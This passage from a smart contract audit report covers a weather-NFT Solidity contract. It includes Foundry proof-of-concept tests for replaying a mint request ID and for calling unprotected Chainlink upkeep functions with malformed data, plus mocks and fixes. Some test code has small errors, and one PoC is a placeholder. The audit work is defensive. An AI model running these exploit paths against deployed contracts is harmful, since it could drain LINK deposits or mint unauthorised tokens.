        WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[]
(1);
        weathers[0] = WeatherNftStore.Weather.SUNNY;
        string[] memory uris = new string[](1);
        uris[0] = "ipfs://dummy";

        // 3) Configure Chainlink Functions
        WeatherNftStore.FunctionsConfig memory cfg =
WeatherNftStore.FunctionsConfig({
            source: "",
            encryptedSecretsURL: "",
            subId: 0,
            gasLimit: 200_000,
            donId: bytes32(0)
        });

        // 4) Deploy MockWeatherNft pointing to our mocks
        weatherNft = new MockWeatherNft(
            weathers,
            uris,
            functionsRouter,
            cfg,
            /* mintPrice= */ 1 ether,
            /* step=      */ 0.1 ether,
            address(0)
            /* keeperRegistry= */ address(0),
            /* keeperRegistrar=*/ address(0),
            /* upkeepGaslimit= */ 200_000
        );

        // 5) Fund user
        user = makeAddr("user");
        vm.deal(user, 10 ether);
    }

    function test_MutipleMintsWithTheSameReqId() public {
    uint256 actualPrice = weatherNft.s_currentMintPrice();
    vm.startPrank(user);
    bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
        "28001", "ES", false, 0, 0
    );
    weatherNft.simulateOracleResponse(
    reqId,
    abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
    ""
    );
    vm.stopPrank();
    vm.prank(user);
    weatherNft.fulfillMintRequest(reqId);
    vm.prank(user);
    weatherNft.fulfillMintRequest(reqId);
```

```
    console2.log("User nft balance", weatherNft.balanceOf(user));
}
```

Note that `user` has minted 2 NFT with the same `reqId`.

Recommended Mitigations

Introduce a “consumed” flag to prevent replay, and clear stored request data upon fulfillment.

Add this mapping to `WeatherNftStore` contract:

```
    uint256 public s_tokenCounter;
    mapping(Weather => string) public s_weatherToTokenURI;
    FunctionsConfig public s_functionsConfig;
    mapping(bytes32 => UserMintRequest) public s_funcReqIdToUserMintReq;
    mapping(bytes32 => MintFunctionReqResponse) public
s_funcReqIdToMintFunctionReqResponse;
    mapping(bytes32 => uint256) public s_funcReqIdToTokenIdUpdate;
    uint256 public s_currentMintPrice;
    uint256 public s_stepIncreasePerMint;
    mapping(uint256 => Weather) public s_tokenIdToWeather;
    mapping(uint256 => WeatherNftInfo) public s_weatherNftInfo;
    address public s_link;
    address public s_keeperRegistry;
    address public s_keeperRegistrar;
    uint32 public s_upkeepGaslimit;
+   mapping(bytes32 => bool) public s_requestFulfilled;
```

Then, add this code to `WeatherNft::fulfillMintRequest` function:

```
 function fulfillMintRequest(bytes32 requestId) external {

+       require(!s_requestFulfilled[requestId], "Request already fulfilled");
        bytes memory response =
s_funcReqIdToMintFunctionReqResponse[requestId].response;
        bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;

        require(response.length > 0 || err.length > 0,
WeatherNft__Unauthorized());

        if (response.length == 0 || err.length > 0) {
+           s_requestFulfilled[requestId] = true;
+           delete s_funcReqIdToUserMintReq[requestId];
+           delete s_funcReqIdToMintFunctionReqResponse[requestId];
            return;

        }

        //s_currentMintPrice += s_stepIncreasePerMint;
```

```
        UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
            requestId
        ];
        uint8 weather = abi.decode(response, (uint8));
        uint256 tokenId = s_tokenCounter;
        s_tokenCounter++;
+       s_requestFulfilled[requestId] = true;
+       delete s_funcReqIdToUserMintReq[requestId];
+       delete s_funcReqIdToMintFunctionReqResponse[requestId];
```

1. Guard against replays: Check and set s_requestFulfilled[requestId] before proceeding.
2. State cleanup: Remove user request and oracle response mappings immediately after use.

By enforcing a one-time fulfillment per request ID, this approach prevents any further replay attacks.

Lack of Access Control and Parameter Validation in checkUpkeep / performUpkeep

Description

The contract's Chainlink Automation hooks (`checkUpkeep` and `performUpkeep`) neither restrict who may invoke them nor validate the contents of the `checkData` payload. This allows any on-chain actor to force the upkeep logic to execute—even with malformed or out-of-range parameters—leading to unauthorized state changes, Denial-of-Service, and fund drainage.

Vulnerability Details

Broken Access Control

Both `checkUpkeep(bytes calldata)` and `performUpkeep(bytes calldata)` are external with no access control.

Any EOA or contract can call them at any time.

Improper Input Validation

The functions accept arbitrary bytes and do not enforce length, structure, or value ranges.

`performUpkeep` never checks the boolean returned by `checkUpkeep`, nor re-decodes/validates the bytes payload before use.

Combined Effect

An attacker can call `performUpkeep` directly with malicious `checkData` (e.g. a non-existent tokenId) and trigger internal logic paths that corrupt storage, bypass timing constraints, or drain LINK.

Likelihood

Ease of Exploitation: High. No on-chain barriers—anyone with minimal on-chain interaction tools can invoke these methods.

Prerequisites: None beyond Ethereum transaction capability.

Exploit Complexity: Low. Simply craft and submit a transaction with malformed checkData.

Impact

State Corruption: Overwriting or corrupting NFT metadata, internal counters, or auxiliary mappings.

Denial-of-Service: Repeatedly spamming performUpkeep to consume gas or LINK budget allocated for legitimate upkeep.

Fund Drain: Unauthorized consumption of LINK deposits, as upkeep fees are deducted even when no genuine work is performed.

Loss of Trust: Dynamic NFTs may display incorrect weather data or unexpected metadata, undermining user confidence.

Proof of Concept

Below is a minimal Foundry-style PoC that demonstrates both the lack of access control and the malformed-data exploit in one flow.

In the first test, An `attacker` is able to call `checkUpkeep` and `performUpkeep` on a valid NFT owned by `user`, with no revert and full state corruption.

In the second test, `user` :

Mints a valid NFT, funding its upkeep mechanism with LINK.

Generate malformed checkData: `bytes memory badCheckData = abi.encode(uint256(9999)); // tokenId 9999 never minted`

Invoke directly: `weatherNft.performUpkeep(badCheckData);`

Observed Behavior: No require reversion. Upkeep logic executes using garbage tokenId, corrupting state and deducting LINK.

Proof of Code

For testing purposes, make `_sendFunctionsWeatherFetchRequest` and `performUpkeep` virtual.

Important Note: This is made only for testing purposes and should not be used in production.
Remember to revert the changes after testing.

```
- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)
.
.
.
- function performUpkeep(bytes calldata performData) external override {
+ function performUpkeep(bytes calldata performData) external override virtual {
```

Use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockLinkToken stands in for the real LINK token so your contract can receive, approve and spend LINK without a live ERC-20; the MockAutomationRegistrar fakes the upkeep registration process, capturing and returning predictable upkeep IDs. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID, a way to inject simulated oracle responses, and a controlled upkeep flow.

Add this mock contracts to two new test files:
Note: `uint256 upkeepCost = 0.1 ether;` This is arbitrarily chosen to prove the exploit. This is not the real price for upkeep execution.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {LinkTokenInterface} from
"@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";

/// @notice Mock LINK token implementing minimal ERC20 + transferAndCall
contract MockLinkToken is LinkTokenInterface {
    mapping(address => uint256) public override balanceOf;
    mapping(address => mapping(address => uint256)) public override allowance;
    uint256 public totalSupply;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function transfer(address to, uint256 amt) external override returns (bool) {
        require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
        balanceOf[msg.sender] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function approve(address spender, uint256 amt) external override returns
(bool) {
        allowance[msg.sender][spender] = amt;
        return true;
    }

    function transferFrom(address from, address to, uint256 amt) external override
returns (bool) {
        require(balanceOf[from] >= amt, "MockLink: insufficient");
        if (from != msg.sender) {
            require(allowance[from][msg.sender] >= amt, "MockLink: not allowed");
            allowance[from][msg.sender] -= amt;
        }
        balanceOf[from] -= amt;
        balanceOf[to] += amt;
        return true;
```

```
    }

    function transferAndCall(address to, uint256 amt, bytes calldata) external
override returns (bool) {
        require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
        balanceOf[msg.sender] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function decimals() external pure override returns (uint8) {
        return 18;
    }
    function name() external pure override returns (string memory) {
        return "MockLINK";
    }
    function symbol() external pure override returns (string memory) {
        return "LINK";
    }
    function decreaseApproval(address spender, uint256 addedValue) external
override returns (bool) {
        uint256 old = allowance[msg.sender][spender];
        if (addedValue >= old) {
            allowance[msg.sender][spender] = 0;
        } else {
            allowance[msg.sender][spender] = old - addedValue;
        }
        return true;
    }
    function increaseApproval(address spender, uint256 subtractedValue) external
override {
        allowance[msg.sender][spender] += subtractedValue;
    }
}

contract MockWeatherNft is WeatherNft {
    bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");

    constructor(
        WeatherNftStore.Weather[] memory weathers,
        string[] memory uris,
        address functionsRouter,
        WeatherNftStore.FunctionsConfig memory cfg,
        uint256 mintPrice,
        uint256 step,
        address link,
        address keeperRegistry,
        address keeperRegistrar,
        uint32 upkeepGaslimit
    ) WeatherNft(
        weathers,
        uris,
        functionsRouter,
        cfg,
```

```
        mintPrice,
        step,
        link,
        keeperRegistry,
        keeperRegistrar,
        upkeepGaslimit
    ) {}

    function _sendFunctionsWeatherFetchRequest(
        string memory,
        string memory
    ) internal pure override returns (bytes32) {
        return FIXED_REQ;
    }


    function simulateOracleResponse(
        bytes32 reqId,
        bytes memory resp,
        bytes memory err
    ) public {
        fulfillRequest(reqId, resp, err);
    }

    function performUpkeep(bytes calldata performData) external override {
    uint256 tokenId = abi.decode(performData, (uint256));


    uint256 upkeepCost = 0.1 ether;
    bool success = LinkTokenInterface(s_link).transferFrom(address(this),
address(0xdead), upkeepCost);
    require(success, "MockLink: insufficient");

    bytes32 reqId = keccak256(abi.encodePacked(block.timestamp, tokenId));
    s_funcReqIdToTokenIdUpdate[reqId] = tokenId;

    emit NftWeatherUpdateRequestSend(tokenId, reqId,
s_weatherNftInfo[tokenId].upkeepId);
}
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {IAutomationRegistrarInterface} from
"src/interfaces/IAutomationRegistrarInterface.sol";

contract MockAutomationRegistrar is IAutomationRegistrarInterface {
```

```
    uint256 public nextUpkeepId = 1;
    RegistrationParams public lastParams;

    event RegisterCalled(address caller, uint256 upkeepId);

    function registerUpkeep(
        RegistrationParams calldata params
    ) external override returns (uint256) {
        lastParams = params;
        uint256 registeredId = nextUpkeepId;
        nextUpkeepId++;

        emit RegisterCalled(msg.sender, registeredId);
        return registeredId;
    }

}
```

Then, add this code to a new test enviroment, importing the Mock contracts files:

The first test prooves that anyone can call `performUpkeep` and `checkUpkeep`. The second test prooves that bad checkData can be provided, which causes a false stament in `checkUpkeep` and a wrong execution of `performUpkeep`..

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockLinkToken, MockWeatherNft} from "test/mocks/MockContracts.t.sol";
import {MockAutomationRegistrar} from "test/mocks/MockAutomationRegistrar.sol";

contract WeatherNftUnitTest is Test {
    MockLinkToken public linkToken;
    MockWeatherNft public weatherNft;
    MockAutomationRegistrar public automationRegistrar;
    address public user;
    address public functionsRouter = address(0x1234);

    uint256 constant HEARTBEAT = 60;         // 60 s entre upkeeps
    uint256 constant LINK_PER_KEEP = 0.1 ether; // coste LINK por upke

    function setUp() public {
        // 1) Deploy mock LINK
        linkToken = new MockLinkToken();

        // 2) Prepare Weather enum array and URIs
        WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[]
(1);
        weathers[0] = WeatherNftStore.Weather.SUNNY;
```

```
        string[] memory uris = new string[](1);
        uris[0] = "ipfs://dummy";

        // 3) Configure Chainlink Functions
        WeatherNftStore.FunctionsConfig memory cfg =
WeatherNftStore.FunctionsConfig({
            source: "",
            encryptedSecretsURL: "",
            subId: 0,
            gasLimit: 200_000,
            donId: bytes32(0)
        });

        // 4) Deploy MockWeatherNft pointing to our mocks
        automationRegistrar = new MockAutomationRegistrar();
        weatherNft = new MockWeatherNft(
            weathers,
            uris,
            functionsRouter,
            cfg,
            /* mintPrice= */ 1 ether,
            /* step=      */ 0.1 ether,
            address(linkToken),
            /* keeperRegistry= */ address(0),
            /* keeperRegistrar=*/ address(automationRegistrar),
            /* upkeepGaslimit= */ 200_000
        );

        // 5) Fund user
        user = makeAddr("user");
        vm.deal(user, 10 ether);
        linkToken.mint(user, 1000 ether);
    }

function test_AnyoneCanCallPerformUpkeepAndCheckUpkeep() public {
    uint256 actualPrice = weatherNft.s_currentMintPrice();
    uint256 LINK_DEPOSIT = 10 ether;
    linkToken.mint(user, LINK_DEPOSIT);
    vm.startPrank(user);
    linkToken.approve(address(weatherNft), LINK_DEPOSIT);
    bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
        "28001", "ES", true, HEARTBEAT, LINK_DEPOSIT
    );
    weatherNft.simulateOracleResponse(
    reqId,
    abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
    ""
    );
    weatherNft.fulfillMintRequest(reqId);
    vm.stopPrank();

    uint256 tokenId = weatherNft.s_tokenCounter() - 1;
    bytes memory checkData = abi.encode(tokenId);
    uint attackerFunds = 10 ether;
```

```
        address attacker = makeAddr("attacker");
        linkToken.mint(attacker, attackerFunds);
        linkToken.approve(address(weatherNft), attackerFunds);
        vm.startPrank(attacker);
        linkToken.transfer(address(weatherNft), attackerFunds);

        weatherNft.checkUpkeep(checkData);
        weatherNft.performUpkeep(checkData);
        vm.stopPrank();
    }

    function test_CheckUpkeepAndPerformUpkeepWithBadCheckData() public {
        uint256 actualPrice = weatherNft.s_currentMintPrice();
        uint256 LINK_DEPOSIT = 10 ether;
        linkToken.mint(user, LINK_DEPOSIT);
        vm.startPrank(user);
        linkToken.approve(address(weatherNft), LINK_DEPOSIT);
        bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
            "28001", "ES", true, HEARTBEAT, LINK_DEPOSIT
        );
        weatherNft.simulateOracleResponse(
        reqId,
        abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
        ""
        );
        weatherNft.fulfillMintRequest(reqId);
        vm.stopPrank();

        uint256 tokenId = weatherNft.s_tokenCounter() - 1;
        bytes memory checkData = abi.encode(tokenId);
        bytes memory badCheckData = abi.encode(uint256(9999));


        vm.startPrank(user);
        weatherNft.checkUpkeep(badCheckData);
        weatherNft.performUpkeep(badCheckData);
        vm.stopPrank();
    }
```

Recommended Mitigation

To fully safeguard your Chainlink Automation hooks, apply the following two controls:

`checkUpkeep`

Only the Keeper Registry may call it.

Enforce that `checkData` is exactly one uint256 (32 bytes) before decoding.

```
   function checkUpkeep(
          bytes calldata checkData
```

```
    )
        external
        view
        override
        returns (bool upkeepNeeded, bytes memory performData)
    {
+       require(checkData.length == 32, "Bad checkData length");
+       require(msg.sender == s_keeperRegistry, "Only Keeper registry");
        uint256 _tokenId = abi.decode(checkData, (uint256));
        if (_ownerOf(_tokenId) == address(0)) {
```

`performUpkeep`

Allow only the Keeper Registry or the NFT's owner to execute it.

The Keeper Registry handles automatic (subscribed) updates.

The NFT owner can trigger a one-off, manual update.

Enforce that `performData` is exactly one uint256 (32 bytes) before decoding.

```
function performUpkeep(bytes calldata performData) external override {
+       require(performData.length == 32, "Bad data length");
        uint256 _tokenId = abi.decode(performData, (uint256));
+       address owner = ownerOf(_tokenId);
        uint256 upkeepId = s_weatherNftInfo[_tokenId].upkeepId;

+       if (upkeepId != 0) {
+           require(msg.sender == s_keeperRegistry, "Only Keeper registry");
+       } else {
+           require(msg.sender == owner, "Only token owner");
+       }

        s_weatherNftInfo[_tokenId].lastFulfilledAt = block.timestamp;
```

Key improvements and clarifications:

Length checks before any `abi.decode` prevent malformed or oversized payloads from slipping through.

`ownerOf` both verifies token existence (reverting if it's not minted) and gives you the correct owner address.

Dual access control ensures that:

Automatic, heartbeat-based updates are only handled by the Keeper Registry.

Manual, on-demand updates can only be triggered by the rightful NFT owner.

Together, these measures eliminate unauthorized calls, block "garbage" parameters, and preserve the integrity of your on-chain automation.

Unbounded Mapping Storage Growth (Storage Bloat)

Description

The contract stores data for each mint request and each weather update in three separate mappings—and never deletes those entries. Over time, this causes the on-chain state to grow linearly without bound, driving up gas costs for future writes and potentially threatening long-term protocol viability.

Vulnerability Details

Mappings Involved:

`s_funcReqIdToUserMintReq` – holds parameters of each mint request

`s_funcReqIdToMintFunctionReqResponse` – holds the oracle response for each mint

`s_funcReqIdToTokenIdUpdate` – holds the tokenId for each upkeep-triggered update

Lack of Cleanup: None of these mappings ever have their entries removed via delete, so each new request or update permanently consumes storage.

Impact

High Gas Costs: Initial SSTORE to a new slot costs ~20 000 gas each.

Missed Refunds: By not deleting, the contract forfeits up to ~15 000 gas refund per slot.

Uncontrolled State Growth: Thousands of requests or updates will bloat the state, making every storage write more expensive and burdening network nodes.

Economic DoS Risk: If gas costs escalate, users may be priced out, or the protocol may become economically unviable.

Likelihood

High.

No on-chain mechanism prevents or cleans up stale entries.

Any user can mint or trigger updates indefinitely, adding ever more storage entries.

Proof of Concept

Write a Foundry test that repeatedly calls the mint-simulation function to populate one of the mappings, then compare gas usage before and after inserting delete statements to demonstrate storage growth and refund effects.

Proof of Code

(To be provided by auditor: insert the Foundry test script here.)

Recommended Mitigations

Delete Entries After Use

In the mint-fulfillment branch of fulfillRequest, after minting the NFT:

```
  function fulfillMintRequest(bytes32 requestId) external {
        bytes memory response =
s_funcReqIdToMintFunctionReqResponse[requestId].response;
        bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
.
.
.
        s_weatherNftInfo[tokenId] = WeatherNftInfo({
            heartbeat: _userMintRequest.heartbeat,
            lastFulfilledAt: block.timestamp,
            upkeepId: upkeepId,
            pincode: _userMintRequest.pincode,
            isoCode: _userMintRequest.isoCode
        });
+       delete s_funcReqIdToUserMintReq[requestId];
+       delete s_funcReqIdToMintFunctionReqResponse[requestId];
    }
```

In _fulfillWeatherUpdate, after updating the NFT's weather:

```
    function _fulfillWeatherUpdate(bytes32 requestId, bytes memory response, bytes
memory err) internal {
        if (response.length == 0 || err.length > 0) {
            return;
        }

        uint256 tokenId = s_funcReqIdToTokenIdUpdate[requestId];
        uint8 weather   = abi.decode(response, (uint8));


        s_weatherNftInfo[tokenId].lastFulfilledAt = block.timestamp;
        s_tokenIdToWeather[tokenId] = Weather(weather);

        emit NftWeatherUpdated(tokenId, Weather(weather));

+       delete s_funcReqIdToTokenIdUpdate[requestId];
    }
```

Monitor Gas Refunds

Benchmark gas savings after applying deletes to verify their effectiveness.

Ensure no mapping entry persists longer than strictly necessary.